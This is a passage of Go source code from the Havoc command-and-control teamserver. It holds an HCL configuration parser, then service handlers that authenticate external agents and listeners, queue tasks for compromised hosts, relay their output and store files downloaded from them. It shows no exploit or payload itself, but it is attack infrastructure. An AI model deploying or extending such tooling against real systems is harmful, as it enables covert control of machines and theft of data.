MissingItemRange Range } // Attribute represents an attribute from within a body. type Attribute struct { Name string Expr Expression Range Range NameRange Range } // Expression is a literal value or an expression provided in the // configuration, which can be evaluated within a scope to produce a value. type Expression interface { // Value returns the value resulting from evaluating the expression // in the given evaluation context. // // The context may be nil, in which case the expression may contain // only constants and diagnostics will be produced for any non-constant // sub-expressions. (The exact definition of this depends on the source // language.) // // The context may instead be set but have either its Variables or // Functions maps set to nil, in which case only use of these features // will return diagnostics. // // Different diagnostics are provided depending on whether the given // context maps are nil or empty. In the former case, the message // tells the user that variables/functions are not permitted at all, // while in the latter case usage will produce a "not found" error for // the specific symbol in question. Value(ctx *EvalContext) (cty.Value, Diagnostics) // Variables returns a list of variables referenced in the receiving // expression. These are expressed as absolute Traversals, so may include // additional information about how the variable is used, such as // attribute lookups, which the calling application can potentially use // to only selectively populate the scope. Variables() []Traversal Range() Range StartRange() Range } // OfType filters the receiving block sequence by block type name, // returning a new block sequence including only the blocks of the // requested type. func (els Blocks) OfType(typeName string) Blocks { ret := make(Blocks, 0) for _, el := range els { if el.Type == typeName { ret = append(ret, el) } } return ret } // ByType transforms the receiving block sequence into a map from type // name to block sequences of only that type. func (els Blocks) ByType() map[string]Blocks { ret := make(map[string]Blocks) for _, el := range els { ty := el.Type if ret[ty] == nil { ret[ty] = make(Blocks, 0, 1) } ret[ty] = append(ret[ty], el) } return ret } ================================================ FILE: teamserver/pkg/profile/yaotl/structure_at_pos.go ================================================ package hcl // ----------------------------------------------------------------------------- // The methods in this file all have the general pattern of making a best-effort // to find one or more constructs that contain a given source position. // // These all operate by delegating to an optional method of the same name and // signature on the file's root body, allowing each syntax to potentially // provide its own implementations of these. For syntaxes that don't implement // them, the result is always nil. // ----------------------------------------------------------------------------- // BlocksAtPos attempts to find all of the blocks that contain the given // position, ordered so that the outermost block is first and the innermost // block is last. This is a best-effort method that may not be able to produce // a complete result for all positions or for all HCL syntaxes. // // If the returned slice is non-empty, the first element is guaranteed to // represent the same block as would be the result of OutermostBlockAtPos and // the last element the result of InnermostBlockAtPos. However, the // implementation may return two different objects describing the same block, // so comparison by pointer identity is not possible. // // The result is nil if no blocks at all contain the given position. func (f *File) BlocksAtPos(pos Pos) []*Block { // The root body of the file must implement this interface in order // to support BlocksAtPos. type Interface interface { BlocksAtPos(pos Pos) []*Block } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.BlocksAtPos(pos) } // OutermostBlockAtPos attempts to find a top-level block in the receiving file // that contains the given position. This is a best-effort method that may not // be able to produce a result for all positions or for all HCL syntaxes. // // The result is nil if no single block could be selected for any reason. func (f *File) OutermostBlockAtPos(pos Pos) *Block { // The root body of the file must implement this interface in order // to support OutermostBlockAtPos. type Interface interface { OutermostBlockAtPos(pos Pos) *Block } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.OutermostBlockAtPos(pos) } // InnermostBlockAtPos attempts to find the most deeply-nested block in the // receiving file that contains the given position. This is a best-effort // method that may not be able to produce a result for all positions or for // all HCL syntaxes. // // The result is nil if no single block could be selected for any reason. func (f *File) InnermostBlockAtPos(pos Pos) *Block { // The root body of the file must implement this interface in order // to support InnermostBlockAtPos. type Interface interface { InnermostBlockAtPos(pos Pos) *Block } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.InnermostBlockAtPos(pos) } // OutermostExprAtPos attempts to find an expression in the receiving file // that contains the given position. This is a best-effort method that may not // be able to produce a result for all positions or for all HCL syntaxes. // // Since expressions are often nested inside one another, this method returns // the outermost "root" expression that is not contained by any other. // // The result is nil if no single expression could be selected for any reason. func (f *File) OutermostExprAtPos(pos Pos) Expression { // The root body of the file must implement this interface in order // to support OutermostExprAtPos. type Interface interface { OutermostExprAtPos(pos Pos) Expression } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.OutermostExprAtPos(pos) } // AttributeAtPos attempts to find an attribute definition in the receiving // file that contains the given position. This is a best-effort method that may // not be able to produce a result for all positions or for all HCL syntaxes. // // The result is nil if no single attribute could be selected for any reason. func (f *File) AttributeAtPos(pos Pos) *Attribute { // The root body of the file must implement this interface in order // to support OutermostExprAtPos. type Interface interface { AttributeAtPos(pos Pos) *Attribute } impl, ok := f.Body.(Interface) if !ok { return nil } return impl.AttributeAtPos(pos) } ================================================ FILE: teamserver/pkg/profile/yaotl/traversal.go ================================================ package hcl import ( "fmt" "github.com/zclconf/go-cty/cty" ) // A Traversal is a description of traversing through a value through a // series of operations such as attribute lookup, index lookup, etc. // // It is used to look up values in scopes, for example. // // The traversal operations are implementations of interface Traverser. // This is a closed set of implementations, so the interface cannot be // implemented from outside this package. // // A traversal can be absolute (its first value is a symbol name) or relative // (starts from an existing value). type Traversal []Traverser // TraversalJoin appends a relative traversal to an absolute traversal to // produce a new absolute traversal. func TraversalJoin(abs Traversal, rel Traversal) Traversal { if abs.IsRelative() { panic("first argument to TraversalJoin must be absolute") } if !rel.IsRelative() { panic("second argument to TraversalJoin must be relative") } ret := make(Traversal, len(abs)+len(rel)) copy(ret, abs) copy(ret[len(abs):], rel) return ret } // TraverseRel applies the receiving traversal to the given value, returning // the resulting value. This is supported only for relative traversals, // and will panic if applied to an absolute traversal. func (t Traversal) TraverseRel(val cty.Value) (cty.Value, Diagnostics) { if !t.IsRelative() { panic("can't use TraverseRel on an absolute traversal") } current := val var diags Diagnostics for _, tr := range t { var newDiags Diagnostics current, newDiags = tr.TraversalStep(current) diags = append(diags, newDiags...) if newDiags.HasErrors() { return cty.DynamicVal, diags } } return current, diags } // TraverseAbs applies the receiving traversal to the given eval context, // returning the resulting value. This is supported only for absolute // traversals, and will panic if applied to a relative traversal. func (t Traversal) TraverseAbs(ctx *EvalContext) (cty.Value, Diagnostics) { if t.IsRelative() { panic("can't use TraverseAbs on a relative traversal") } split := t.SimpleSplit() root := split.Abs[0].(TraverseRoot) name := root.Name thisCtx := ctx hasNonNil := false for thisCtx != nil { if thisCtx.Variables == nil { thisCtx = thisCtx.parent continue } hasNonNil = true val, exists := thisCtx.Variables[name] if exists { return split.Rel.TraverseRel(val) } thisCtx = thisCtx.parent } if !hasNonNil { return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Variables not allowed", Detail: "Variables may not be used here.", Subject: &root.SrcRange, }, } } suggestions := make([]string, 0, len(ctx.Variables)) thisCtx = ctx for thisCtx != nil { for k := range thisCtx.Variables { suggestions = append(suggestions, k) } thisCtx = thisCtx.parent } suggestion := nameSuggestion(name, suggestions) if suggestion != "" { suggestion = fmt.Sprintf(" Did you mean %q?", suggestion) } return cty.DynamicVal, Diagnostics{ { Severity: DiagError, Summary: "Unknown variable", Detail: fmt.Sprintf("There is no variable named %q.%s", name, suggestion), Subject: &root.SrcRange, }, } } // IsRelative returns true if the receiver is a relative traversal, or false // otherwise. func (t Traversal) IsRelative() bool { if len(t) == 0 { return true } if _, firstIsRoot := t[0].(TraverseRoot); firstIsRoot { return false } return true } // SimpleSplit returns a TraversalSplit where the name lookup is the absolute // part and the remainder is the relative part. Supported only for // absolute traversals, and will panic if applied to a relative traversal. // // This can be used by applications that have a relatively-simple variable // namespace where only the top-level is directly populated in the scope, with // everything else handled by relative lookups from those initial values. func (t Traversal) SimpleSplit() TraversalSplit { if t.IsRelative() { panic("can't use SimpleSplit on a relative traversal") } return TraversalSplit{ Abs: t[0:1], Rel: t[1:], } } // RootName returns the root name for a absolute traversal. Will panic if // called on a relative traversal. func (t Traversal) RootName() string { if t.IsRelative() { panic("can't use RootName on a relative traversal") } return t[0].(TraverseRoot).Name } // SourceRange returns the source range for the traversal. func (t Traversal) SourceRange() Range { if len(t) == 0 { // Nothing useful to return here, but we'll return something // that's correctly-typed at least. return Range{} } return RangeBetween(t[0].SourceRange(), t[len(t)-1].SourceRange()) } // TraversalSplit represents a pair of traversals, the first of which is // an absolute traversal and the second of which is relative to the first. // // This is used by calling applications that only populate prefixes of the // traversals in the scope, with Abs representing the part coming from the // scope and Rel representing the remaining steps once that part is // retrieved. type TraversalSplit struct { Abs Traversal Rel Traversal } // TraverseAbs traverses from a scope to the value resulting from the // absolute traversal. func (t TraversalSplit) TraverseAbs(ctx *EvalContext) (cty.Value, Diagnostics) { return t.Abs.TraverseAbs(ctx) } // TraverseRel traverses from a given value, assumed to be the result of // TraverseAbs on some scope, to a final result for the entire split traversal. func (t TraversalSplit) TraverseRel(val cty.Value) (cty.Value, Diagnostics) { return t.Rel.TraverseRel(val) } // Traverse is a convenience function to apply TraverseAbs followed by // TraverseRel. func (t TraversalSplit) Traverse(ctx *EvalContext) (cty.Value, Diagnostics) { v1, diags := t.TraverseAbs(ctx) if diags.HasErrors() { return cty.DynamicVal, diags } v2, newDiags := t.TraverseRel(v1) diags = append(diags, newDiags...) return v2, diags } // Join concatenates together the Abs and Rel parts to produce a single // absolute traversal. func (t TraversalSplit) Join() Traversal { return TraversalJoin(t.Abs, t.Rel) } // RootName returns the root name for the absolute part of the split. func (t TraversalSplit) RootName() string { return t.Abs.RootName() } // A Traverser is a step within a Traversal. type Traverser interface { TraversalStep(cty.Value) (cty.Value, Diagnostics) SourceRange() Range isTraverserSigil() isTraverser } // Embed this in a struct to declare it as a Traverser type isTraverser struct { } func (tr isTraverser) isTraverserSigil() isTraverser { return isTraverser{} } // TraverseRoot looks up a root name in a scope. It is used as the first step // of an absolute Traversal, and cannot itself be traversed directly. type TraverseRoot struct { isTraverser Name string SrcRange Range } // TraversalStep on a TraverseName immediately panics, because absolute // traversals cannot be directly traversed. func (tn TraverseRoot) TraversalStep(cty.Value) (cty.Value, Diagnostics) { panic("Cannot traverse an absolute traversal") } func (tn TraverseRoot) SourceRange() Range { return tn.SrcRange } // TraverseAttr looks up an attribute in its initial value. type TraverseAttr struct { isTraverser Name string SrcRange Range } func (tn TraverseAttr) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { return GetAttr(val, tn.Name, &tn.SrcRange) } func (tn TraverseAttr) SourceRange() Range { return tn.SrcRange } // TraverseIndex applies the index operation to its initial value. type TraverseIndex struct { isTraverser Key cty.Value SrcRange Range } func (tn TraverseIndex) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { return Index(val, tn.Key, &tn.SrcRange) } func (tn TraverseIndex) SourceRange() Range { return tn.SrcRange } // TraverseSplat applies the splat operation to its initial value. type TraverseSplat struct { isTraverser Each Traversal SrcRange Range } func (tn TraverseSplat) TraversalStep(val cty.Value) (cty.Value, Diagnostics) { panic("TraverseSplat not yet implemented") } func (tn TraverseSplat) SourceRange() Range { return tn.SrcRange } ================================================ FILE: teamserver/pkg/profile/yaotl/traversal_for_expr.go ================================================ package hcl // AbsTraversalForExpr attempts to interpret the given expression as // an absolute traversal, or returns error diagnostic(s) if that is // not possible for the given expression. // // A particular Expression implementation can support this function by // offering a method called AsTraversal that takes no arguments and // returns either a valid absolute traversal or nil to indicate that // no traversal is possible. Alternatively, an implementation can support // UnwrapExpression to delegate handling of this function to a wrapped // Expression object. // // In most cases the calling application is interested in the value // that results from an expression, but in rarer cases the application // needs to see the the name of the variable and subsequent // attributes/indexes itself, for example to allow users to give references // to the variables themselves rather than to their values. An implementer // of this function should at least support attribute and index steps. func AbsTraversalForExpr(expr Expression) (Traversal, Diagnostics) { type asTraversal interface { AsTraversal() Traversal } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(asTraversal) return supported }) if asT, supported := physExpr.(asTraversal); supported { if traversal := asT.AsTraversal(); traversal != nil { return traversal, nil } } return nil, Diagnostics{ &Diagnostic{ Severity: DiagError, Summary: "Invalid expression", Detail: "A single static variable reference is required: only attribute access and indexing with constant keys. No calculations, function calls, template expressions, etc are allowed here.", Subject: expr.Range().Ptr(), }, } } // RelTraversalForExpr is similar to AbsTraversalForExpr but it returns // a relative traversal instead. Due to the nature of HCL expressions, the // first element of the returned traversal is always a TraverseAttr, and // then it will be followed by zero or more other expressions. // // Any expression accepted by AbsTraversalForExpr is also accepted by // RelTraversalForExpr. func RelTraversalForExpr(expr Expression) (Traversal, Diagnostics) { traversal, diags := AbsTraversalForExpr(expr) if len(traversal) > 0 { ret := make(Traversal, len(traversal)) copy(ret, traversal) root := traversal[0].(TraverseRoot) ret[0] = TraverseAttr{ Name: root.Name, SrcRange: root.SrcRange, } return ret, diags } return traversal, diags } // ExprAsKeyword attempts to interpret the given expression as a static keyword, // returning the keyword string if possible, and the empty string if not. // // A static keyword, for the sake of this function, is a single identifier. // For example, the following attribute has an expression that would produce // the keyword "foo": // // example = foo // // This function is a variant of AbsTraversalForExpr, which uses the same // interface on the given expression. This helper constrains the result // further by requiring only a single root identifier. // // This function is intended to be used with the following idiom, to recognize // situations where one of a fixed set of keywords is required and arbitrary // expressions are not allowed: // // switch hcl.ExprAsKeyword(expr) { // case "allow": // // (take suitable action for keyword "allow") // case "deny": // // (take suitable action for keyword "deny") // default: // diags = append(diags, &hcl.Diagnostic{ // // ... "invalid keyword" diagnostic message ... // }) // } // // The above approach will generate the same message for both the use of an // unrecognized keyword and for not using a keyword at all, which is usually // reasonable if the message specifies that the given value must be a keyword // from that fixed list. // // Note that in the native syntax the keywords "true", "false", and "null" are // recognized as literal values during parsing and so these reserved words // cannot not be accepted as keywords by this function. // // Since interpreting an expression as a keyword bypasses usual expression // evaluation, it should be used sparingly for situations where e.g. one of // a fixed set of keywords is used in a structural way in a special attribute // to affect the further processing of a block. func ExprAsKeyword(expr Expression) string { type asTraversal interface { AsTraversal() Traversal } physExpr := UnwrapExpressionUntil(expr, func(expr Expression) bool { _, supported := expr.(asTraversal) return supported }) if asT, supported := physExpr.(asTraversal); supported { if traversal := asT.AsTraversal(); len(traversal) == 1 { return traversal.RootName() } } return "" } ================================================ FILE: teamserver/pkg/service/agent.go ================================================ package service import ( "encoding/base64" "encoding/json" "fmt" "Havoc/pkg/agent" "Havoc/pkg/logger" "Havoc/pkg/utils" ) type CommandParam struct { Name string `json:"Name"` IsFilePath bool `json:"IsFilePath"` IsOptional bool `json:"IsOptional"` } type Command struct { Name string `json:"Name"` Description string `json:"Description"` Help string `json:"Help"` NeedAdmin bool `json:"NeedAdmin"` Mitr []string `json:"Mitr"` Params []CommandParam `json:"Params"` } type AgentService struct { Name string `json:"Name"` MagicValue string `json:"MagicValue"` Author string `json:"Author"` Formats []struct { Name string Extension string } `json:"Formats"` SupportedOS []string `json:"SupportedOS"` Description string `json:"Description"` Commands []Command `json:"Commands"` BuildingConfig map[string]interface{} `json:"BuildingConfig"` client *ClientService `json:"-"` service *Service `json:"-"` } func NewAgentService(data []byte, client *ClientService) *AgentService { var service = new(AgentService) service.client = client err := json.Unmarshal(data, service) if err != nil { logger.Error("Failed to unmarshal json to object: " + err.Error()) return nil } return service } func (a *AgentService) Json() string { var JsonString, err = json.Marshal(a) if err != nil { return "" } return string(JsonString) } func (a *AgentService) SendTask(Command map[string]interface{}, AgentInfo any) { var AgentRequest = map[string]map[string]interface{}{ "Head": { "Type": HeadAgent, }, "Body": { "Type": BodyAgentTask, "Agent": AgentInfo, "Command": Command, "Task": "Add", }, } if err := a.client.WriteJson(AgentRequest); err != nil { logger.Error("Failed to write json to websocket: " + err.Error()) return } } func (a *AgentService) SendResponse(AgentInfo any, Header agent.Header) []byte { var ( randID = utils.GenerateID(6) header = map[string]any{ "Size": fmt.Sprintf("%v", Header.Size), "AgentID": fmt.Sprintf("%08x", Header.AgentID), "MagicValue": fmt.Sprintf("%x", Header.MagicValue), } AgentResponse = map[string]map[string]interface{}{ "Head": { "Type": HeadAgent, }, "Body": { "Type": BodyAgentResponse, "Agent": AgentInfo, "RandID": randID, "AgentHeader": header, "Response": base64.StdEncoding.EncodeToString(Header.Data.Buffer()), }, } ) logger.Debug(AgentResponse) if a.client.Responses == nil { a.client.Responses = make(map[string]chan []byte) } a.client.Responses[randID] = make(chan []byte) a.client.Mutex.Lock() err := a.client.Conn.WriteJSON(AgentResponse) a.client.Mutex.Unlock() if err != nil { logger.Error("Failed to write json to websocket: " + err.Error()) return nil } var data []byte if channel, ok := a.client.Responses[randID]; ok { data = <-channel close(a.client.Responses[randID]) delete(a.client.Responses, randID) } return data } func (a *AgentService) SendAgentBuildRequest(ClientID string, Config map[string]any, Options map[string]any) { var AgentResponse = map[string]map[string]interface{}{ "Head": { "Type": HeadAgent, }, "Body": { "ClientID": ClientID, "Type": BodyAgentBuild, "Config": Config, "Options": Options, }, } a.client.Mutex.Lock() err := a.client.Conn.WriteJSON(AgentResponse) a.client.Mutex.Unlock() if err != nil { logger.Error("Failed to write json to websocket: " + err.Error()) return } } ================================================ FILE: teamserver/pkg/service/external.go ================================================ package service ================================================ FILE: teamserver/pkg/service/listener.go ================================================ package service import ( "Havoc/pkg/logger" "encoding/json" ) type ListenerService struct { Name string `json:"Name"` Agent string `json:"Agent"` Items []map[string]any `json:"Items"` // from where this listener came from. client *ClientService `json:"-"` } func (l *ListenerService) Start(Info map[string]any) error { var Request = map[string]map[string]interface{}{ "Head": { "Type": HeadListener, }, "Body": { "Type": BodyListenerStart, "Listener": Info, }, } if err := l.client.WriteJson(Request); err != nil { logger.Error("Failed to write json to websocket: " + err.Error()) return err } return nil } func (l *ListenerService) Json() string { var JsonString, err = json.Marshal(l) if err != nil { return "" } return string(JsonString) } ================================================ FILE: teamserver/pkg/service/service.go ================================================ package service import ( "Havoc/pkg/colors" "encoding/base64" "encoding/hex" "encoding/json" "fmt" "strconv" "strings" "time" "Havoc/pkg/agent" "Havoc/pkg/common" "Havoc/pkg/events" "Havoc/pkg/logger" "Havoc/pkg/logr" "github.com/gin-gonic/gin" "github.com/gorilla/websocket" "golang.org/x/crypto/sha3" ) // Service API Module // Interact with external services (Custom Agents, ExternalC2s etc.) func NewService(engine *gin.Engine) *Service { var service = new(Service) service.engine = engine return service } func (s *Service) Start() { s.engine.GET("/"+s.Config.Endpoint, func(context *gin.Context) { upgrade := websocket.Upgrader{} WebSocket, err := upgrade.Upgrade(context.Writer, context.Request, nil) if err != nil { logger.Error("Failed upgrading request: " + err.Error()) return } go s.handleConnection(WebSocket) }) } func (s *Service) handleConnection(socket *websocket.Conn) { var client = new(ClientService) client.Conn = socket if !s.authenticate(client) { logger.Error("Failed to authenticate service client") err := client.Conn.Close() if err != nil { logger.Error("Failed to close websocket service client: " + err.Error()) return } return } // now add the new connected client s.clients = append(s.clients, client) // dispatch incoming events s.routine(client) // close connection and remove from service client list s.ClientClose(client) } func (s *Service) authenticate(client *ClientService) bool { var ( Authed = false Hasher = sha3.New256() UserPass string ServicePass string AuthRequest struct { Head struct { Type string `json:"Type"` } `json:"Head"` Body struct { Pass string `json:"Password"` } `json:"Body"` } AuthResponse = map[string]map[string]interface{}{ "Head": { "Type": HeadRegister, }, "Body": { "Success": false, }, } Response []byte ) err := client.Conn.ReadJSON(&AuthRequest) if err != nil { logger.Error("Failed to read JSON message from websocket service client: " + err.Error()) return false } if AuthRequest.Head.Type == HeadRegister { Hasher.Write([]byte(AuthRequest.Body.Pass)) UserPass = hex.EncodeToString(Hasher.Sum(nil)) Hasher.Reset() Hasher.Write([]byte(s.Config.Password)) ServicePass = hex.EncodeToString(Hasher.Sum(nil)) Hasher.Reset() if UserPass == ServicePass { logger.Debug("Service client authenticated") Authed = true } AuthResponse["Body"]["Success"] = Authed Response, err = json.Marshal(AuthResponse) if err != nil { logger.Error("Failed marshaling response: " + err.Error()) } client.Mutex.Lock() err := client.Conn.WriteMessage(websocket.TextMessage, Response) client.Mutex.Unlock() if err != nil { logger.Error("Failed to write message: " + err.Error()) return false } return Authed } return Authed } // the main service routine func (s *Service) routine(client *ClientService) { for { var ( _, data, err = client.Conn.ReadMessage() response = make(map[string]map[string]any) ) if err != nil { logger.DebugError("Failed to read JSON message from websocket service client: " + err.Error()) return } err = json.Unmarshal(data, &response) if err != nil { logger.Error("Failed to unmarshal websocket response: " + err.Error()) return } s.dispatch(response, client) } } func (s *Service) dispatch(response map[string]map[string]any, client *ClientService) { switch response["Head"]["Type"] { case HeadRegisterAgent: var ( data []byte err error as *AgentService ) data, err = json.Marshal(response["Body"]["Agent"]) if err != nil { logger.Error("Failed to marshal object to json: " + err.Error()) return } as = NewAgentService(data, client) if as == nil { logger.Error("Failed to make a new service agent.") return } // check if that agent name is already registered. if s.AgentExist(as.Name) { logger.Error(fmt.Sprintf("Service agent \"%v\"already registered ", as.Name)) return } as.service = s s.Agents = append(s.Agents, as) logger.Info(fmt.Sprintf("%v registered a new agent %v", "["+colors.BoldWhite("SERVICE")+"]", "[Name: "+colors.Blue(as.Name)+"]")) pk := events.Service.AgentRegister(string(data)) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) logger.Debug(as.Json()) case HeadAgent: switch response["Body"]["Type"] { case BodyAgentTask: var ( Agent map[string]any Task string ) if val, ok := response["Body"]["Agent"]; ok && val != nil { Agent = val.(map[string]any) } if val, ok := response["Body"]["Task"]; ok { Task = val.(string) } else { logger.Debug("response BodyAgentTask doesn't contain Task") return } if Task == "Add" { for index := range s.Data.ServerAgents.Agents { if Agent["NameID"] == s.Data.ServerAgents.Agents[index].NameID { var Command, err = base64.StdEncoding.DecodeString(response["Body"]["Command"].(string)) if err != nil { logger.Error("Failed to decode command response: " + err.Error()) } var TaskJob = agent.Job{ Payload: Command, } s.Data.ServerAgents.Agents[index].AddJobToQueue(TaskJob) } } } else if Task == "Get" { if _, ok := response["Body"]["TasksQueue"]; !ok { for index := range s.Data.ServerAgents.Agents { if Agent["NameID"] == s.Data.ServerAgents.Agents[index].NameID { logger.Debug("Found agent") var ( TasksQueue = s.Data.ServerAgents.Agents[index].GetQueuedJobs() PayloadBuffer []byte ) for _, task := range TasksQueue { PayloadBuffer = append(PayloadBuffer, task.Payload...) } response["Body"]["TasksQueue"] = base64.StdEncoding.EncodeToString(PayloadBuffer) if err := client.WriteJson(response); err != nil { logger.Debug("Failed to write json to service client: " + err.Error()) return } s.Data.ServerAgents.Agents[index].Info.LastCallIn = time.Now().Format("02-01-2006 15:04:05") logger.Debug("Wrote to the client") break } } } return } case BodyAgentRegister: var ( Size int MagicValue string AgentID string Header = agent.Header{} RegisterInfo = response["Body"]["RegisterInfo"].(map[string]any) AgentInstance *agent.Agent err error ) logger.Debug(RegisterInfo) if val, ok := response["Body"]["AgentHeader"].(map[string]any)["Size"]; ok { if Size, err = strconv.Atoi(val.(string)); err != nil { Size = 0 } Header.Size = Size } if val, ok := response["Body"]["AgentHeader"].(map[string]any)["MagicValue"]; ok { MagicValue = val.(string) } if val, ok := response["Body"]["AgentHeader"].(map[string]any)["AgentID"]; ok { AgentID = val.(string) } MagicValue64, err := strconv.ParseInt(MagicValue, 16, 32) if err != nil { logger.Error("MagicValue64: " + err.Error()) } AgentID64, err := strconv.ParseInt(AgentID, 16, 32) if err != nil { logger.Error("MagicValue64: " + err.Error()) } Header.AgentID = int(AgentID64) Header.MagicValue = int(MagicValue64) logger.Debug(Header) AgentInstance = agent.RegisterInfoToInstance(Header, RegisterInfo) AgentInstance.Info.MagicValue = Header.MagicValue // AgentInstance.Info.Listener = h s.Teamserver.AgentAdd(AgentInstance) pk := events.Demons.NewDemon(AgentInstance) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) break case BodyAgentResponse: logger.Debug("BodyAgentResponse") logger.Debug(response) var RandID string if val, ok := response["Body"]["RandID"]; ok { RandID = val.(string) } else { logger.Debug("RandID not found") return } logger.Debug(s.clients) for _, c := range s.clients { if channel, ok := c.Responses[RandID]; ok { if val, ok := response["Body"]["Response"]; ok { var ( resp []byte err error ) if resp, err = base64.StdEncoding.DecodeString(val.(string)); err != nil { logger.Debug("Failed to decode base64: " + err.Error()) } channel <- resp } break } } break case BodyAgentOutput: var ( AgentID = response["Body"]["AgentID"].(string) Callback = response["Body"]["Callback"].(map[string]any) ) if Callback["MiscType"] == "download" { var ( FileName = Callback["FileName"].(string) ContentB64 = Callback["Content"].(string) ) if FileContent, err := base64.StdEncoding.DecodeString(ContentB64); err == nil { FileName = strings.Replace(FileName, "\x00", "", -1) logger.Debug(fmt.Sprintf("Added downloaded file %v to agent directory: %v", FileName, AgentID)) logr.LogrInstance.DemonAddDownloadedFile(AgentID, FileName, FileContent) Callback = make(map[string]any) Callback["MiscType"] = "download" Callback["MiscData"] = ContentB64 Callback["MiscData2"] = base64.StdEncoding.EncodeToString([]byte(FileName)) + ";" + common.ByteCountSI(int64(len(FileContent))) } else { logger.Debug("Failed to decode FileContent base64: " + err.Error()) Callback = make(map[string]any) Callback["Type"] = "Error" Callback["Message"] = "Failed to decode FileContent base64: " + err.Error() } } if out, err := json.Marshal(Callback); err == nil { pk := events.Demons.DemonOutput(AgentID, agent.HAVOC_CONSOLE_MESSAGE, string(out)) s.Teamserver.EventAppend(pk) s.Teamserver.EventBroadcast("", pk) } break case BodyAgentBuild: var ( ClientID = response["Body"]["ClientID"].(string) Message = response["Body"]["Message"].(map[string]any) ) if len(ClientID) > 0 { if _, ok := Message["FileName"]; ok { var ( FileName = Message["FileName"].(string) PayloadMsg = Message["Payload"].(string) Payload []byte err error ) Payload, err = base64.StdEncoding.DecodeString(PayloadMsg) if err != nil { err = s.Teamserver.SendEvent(ClientID, events.Gate.SendConsoleMessage("Error", "Failed to decode base64 payload: "+err.Error())) if err != nil { logger.Error("Couldn't send Event: " + err.Error()) return } } err = s.Teamserver.SendEvent(ClientID, events.Gate.SendStageless(FileName, Payload)) if err != nil { logger.Error("Error while sending event: " + err.Error()) return } } else { var ( MessageType = Message["Type"].(string) MessageText = Message["Message"].(string) ) err := s.Teamserver.SendEvent(ClientID, events.Gate.SendConsoleMessage(MessageType, MessageText)) if err != nil { logger.Error("Couldn't send Event: " + err.Error()) return } } } else { logger.Error("ClientID not specified") } break default: break } break case HeadListener: switch response["Body"]["Type"] { case BodyListenerAdd: if val, ok := response["Body"]["Listener"]; ok { var ( listenerService = new(ListenerService) Listener map[string]any ) Listener = val.(map[string]any) // retrieve the listener name if val, ok = Listener["Name"]; ok { listenerService.Name = val.(string) } else { return } // retrieve the listener agent allowed if val, ok = Listener["Agent"]; ok { listenerService.Agent = val.(string) } else { return } // retrieve the listener agent allowed if val, ok = Listener["Items"]; ok { for _, a := range val.([]any) { listenerService.Items = append(listenerService.Items, a.(map[string]any)) } } else { return } listenerService.client = client if !s.ListenerExist(listenerService.Name) { s.ListenerAdd(listenerService) } else { logger.Error(fmt.Sprintf("Service listener already exist %v", listenerService.Name)) } } break case BodyListenerStart: if val, ok := response["Body"]["Listener"]; ok { var ( Data map[string]any Listener = map[string]any{} ) Data = val.(map[string]any) // retrieve the listener name if val, ok = Data["Name"]; ok { Listener["Name"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Host string") return } // retrieve the listener protocol if val, ok = Data["Protocol"]; ok { Listener["Protocol"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Protocol string") return } // retrieve the listener host if val, ok = Data["Host"]; ok { Listener["Host"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Host string") return } // retrieve the listener port if val, ok = Data["PortBind"]; ok { Listener["Port"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Port string") return } // retrieve the listener error if val, ok = Data["Error"]; ok { Listener["Error"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Error string") return } // retrieve the listener status if val, ok = Data["Status"]; ok { Listener["Status"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Status string") return } // retrieve the listener info if val, ok = Data["Info"]; ok { Listener["Info"] = val } else { logger.DebugError("BodyListenerStart body listener doesn't contain Info map") return } // notify that we have an instance running. s.Teamserver.ListenerStartNotify(Listener) } break case BodyListenerExC2: var ( ExternalName string ExternalEndpoint string err error Request = map[string]map[string]any{ "Head": { "Type": HeadListener, }, "Body": { "Type": BodyListenerExC2, "ExC2": map[string]any{ "Success": true, "Error": "", "Name": "", }, }, } ) // retrieve the request id if val, ok := response["Head"]["RequestID"]; ok { Request["Head"]["RequestID"] = val.(string) } else { logger.Debug("Error: Head ExternalC2 RequestID not provided") return } // retrieve the externalc2 listener name if val, ok := response["Body"]["Name"]; ok { ExternalName = val.(string) } else { logger.Debug("Error: BodyListenerExC2 ExternalC2 Name not provided") return } // retrieve the externalc2 listener endpoint if val, ok := response["Body"]["Endpoint"]; ok { ExternalEndpoint = val.(string) } else { logger.Debug("Error: BodyListenerExC2 ExternalC2 Endpoint not provided") return } logger.Debug("Start listener service external c2", ExternalName, ExternalEndpoint) // start the service external c2 listener if err = s.Teamserver.ListenerServiceExc2Add(ExternalName, ExternalEndpoint, client); err != nil { logger.Error("Failed to start listener service externalC2: " + err.Error()) Request["Body"]["ExC2"].(map[string]any)["Success"] = false Request["Body"]["ExC2"].(map[string]any)["Error"] = err.Error() } err = client.WriteJson(Request) if err != nil { logger.Error("Failed to write to client websocket: " + err.Error()) return } break case BodyListenerTransmit: var ( RequestID string Response []byte err error ) if val, ok := response["Head"]["RequestID"]; ok { RequestID = val.(string) } else { logger.Debug("[BodyListenerTransmit] Failed to retrieve Head RequestID") return } if Response, err = base64.StdEncoding.DecodeString(response["Body"]["Request"].(string)); err != nil { logger.Debug("[BodyListenerTransmit] Failed to decode request response: " + err.Error()) return } if channel, ok := client.Responses[RequestID]; ok { channel <- Response } else { logger.Debug("[BodyListenerTransmit] Failed to retrieve response channel") return } break } break default: break } } func (s *Service) AgentExist(name string) bool { for _, a := range s.Agents { if a.Name == name { return true } } return false } func (s *Service) ClientClose(client *ClientService) { if client == nil { return } for i := range s.clients { if s.clients[i] == client { // remove registered agents for j := range s.Agents { if s.Agents[j] != nil { if s.Agents[j].client == client { logger.Warn(fmt.Sprintf("%v unregistered agent %v", "["+colors.BoldWhite("SERVICE")+"]", "[Name: "+colors.Blue(s.Agents[j].Name)+"]")) // remove from list 